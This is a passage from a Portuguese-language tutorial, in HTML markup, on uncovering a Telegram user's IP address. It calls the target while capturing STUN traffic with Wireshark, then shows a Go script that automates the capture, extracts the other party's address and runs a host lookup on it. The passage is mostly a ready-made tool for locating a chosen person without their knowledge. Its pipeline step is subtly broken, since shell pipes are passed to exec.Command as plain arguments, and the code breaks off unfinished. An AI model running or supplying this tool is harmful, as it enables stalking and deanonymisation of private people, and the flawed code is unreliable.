&lt;p&gt;Após abrir o Wireshark, você verá uma interface que captura o tráfego de rede em tempo real. Vamos filtrar o tráfego STUN, que é o protocolo utilizado pelo Telegram para a comunicação.&lt;br&gt;
Na barra de filtros, clique no ícone de busca para abrir a opção de busca. Em seguida, selecione a opção "String" e digite "XOR-MAPPED-ADDRESS" na linha de busca.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passo 3:&lt;/strong&gt; Iniciando a Captura de Dados&lt;/p&gt;

&lt;p&gt;Agora, estamos prontos para iniciar a captura de dados. Certifique-se de que o Wireshark esteja em execução e realize uma chamada via Telegram para o usuário com quem deseja descobrir o endereço IP.&lt;br&gt;
Assim que o usuário atender a chamada, o Wireshark começará a exibir os dados capturados. Procure na lista por informações relacionadas ao protocolo STUN, e você encontrará o endereço IP do usuário que recebeu a chamada.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passo 4:&lt;/strong&gt; Identificando o Endereço IP&lt;br&gt;
Para facilitar a identificação do endereço IP desejado, utilize a função de busca do Wireshark. Clique na opção "Find" e digite "XOR-MAPPED-ADDRESS" na linha de busca. O endereço IP do usuário aparecerá imediatamente após essa string.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Automatizando com Golang&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Com o uso da linguagem de programação Golang, podemos automatizar todo o processo descrito acima. A seguir, apresentamos um código em Golang que realiza essa tarefa de forma eficiente e confiável:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
 &lt;span class="s"&gt;"fmt"&lt;/span&gt;
 &lt;span class="s"&gt;"log"&lt;/span&gt;
 &lt;span class="s"&gt;"os"&lt;/span&gt;
 &lt;span class="s"&gt;"os/exec"&lt;/span&gt;
 &lt;span class="s"&gt;"strings"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;CAP_PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/tmp/tg_cap.pcap"&lt;/span&gt; &lt;span class="c"&gt;// Caminho temporário para o arquivo de captura pcap&lt;/span&gt;
 &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;CAP_TEXT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/tmp/tg_text.txt"&lt;/span&gt; &lt;span class="c"&gt;// Caminho temporário para o arquivo de texto com informações&lt;/span&gt;
 &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;CAP_DURATION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"5"&lt;/span&gt;            &lt;span class="c"&gt;// Duração da captura em segundos&lt;/span&gt;

 &lt;span class="c"&gt;// Obter o endereço IP externo do dispositivo&lt;/span&gt;
 &lt;span class="n"&gt;ipCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"curl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"icanhazip.com"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;ipOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;ipCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Falha ao obter o endereço IP:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;
 &lt;span class="n"&gt;MY_IP&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TrimSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipOutput&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

 &lt;span class="c"&gt;// Verificar se o Wireshark está instalado&lt;/span&gt;
 &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LookPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tshark"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[-] Wireshark não foi encontrado. Tente instalar o Wireshark primeiro."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Debian baseado: sudo apt-get install -y tshark"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Baseado em RedHat: sudo yum install -y tshark"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;

 &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Descobrindo o Endereço IP do Usuário no Telegram usando Golang"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Iniciando a captura de tráfego. Aguarde"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_DURATION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"segundos..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

 &lt;span class="c"&gt;// Iniciar a captura de tráfego com o Wireshark&lt;/span&gt;
 &lt;span class="n"&gt;captureCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tshark"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-w"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_PATH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"duration:"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;CAP_DURATION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;captureOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;captureCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CombinedOutput&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro na captura de tráfego:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;

 &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Tráfego capturado."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

 &lt;span class="c"&gt;// Converter o arquivo pcap para um arquivo de texto legível&lt;/span&gt;
 &lt;span class="n"&gt;convertCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tshark"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-r"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_PATH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;convertOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;convertCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro ao converter o arquivo pcap para texto:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;

 &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CAP_TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;convertOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0644&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro ao escrever o arquivo de texto:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;

 &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Arquivo pcap convertido com sucesso."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

 &lt;span class="c"&gt;// Verificar se o tráfego do Telegram está presente no arquivo de texto&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;convertOutput&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"STUN 106"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Tráfego do Telegram foi encontrado."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="c"&gt;// Extrair o endereço IP do texto&lt;/span&gt;
  &lt;span class="n"&gt;extractCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"grep"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"STUN 106"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"sed"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"'s/^.*XOR-MAPPED-ADDRESS: //'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"awk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"'{match($0,/[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;.[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;.[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;.[0-9]+/); ip = substr($0,RSTART,RLENGTH); print ip}' | awk '!seen[$0]++'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;extractOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;extractCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro ao extrair o endereço IP:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;TG_OUT&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TrimSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;extractOutput&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;IP_1&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fields&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OUT&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;IP_2&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fields&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OUT&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;

  &lt;span class="c"&gt;// Verificar se o endereço IP é o nosso ou do destinatário&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;MY_IP&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;IP_1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IP_2&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;MY_IP&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;IP_2&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IP_1&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"[-] Desculpe. Endereço IP não encontrado."&lt;/span&gt;
   &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c"&gt;// Obter informações de host para o endereço IP&lt;/span&gt;
  &lt;span class="n"&gt;hostCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"host"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;hostOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;hostCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro ao obter informações de host:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Endereço IP:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Host:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TrimSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostOutput&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="c"&gt;// Limpar os arquivos temporários&lt;/span&gt;
  &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CAP_PATH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro na limpeza:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CAP_TEXT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro na limpeza:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Limpeza concluída."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[-] Tráfego do Telegram não foi encontrado."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[!]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[!] Execute este script somente &amp;gt;&amp;gt;&amp;gt;APÓS&amp;lt;&amp;lt;&amp;lt; a resposta."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[!]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
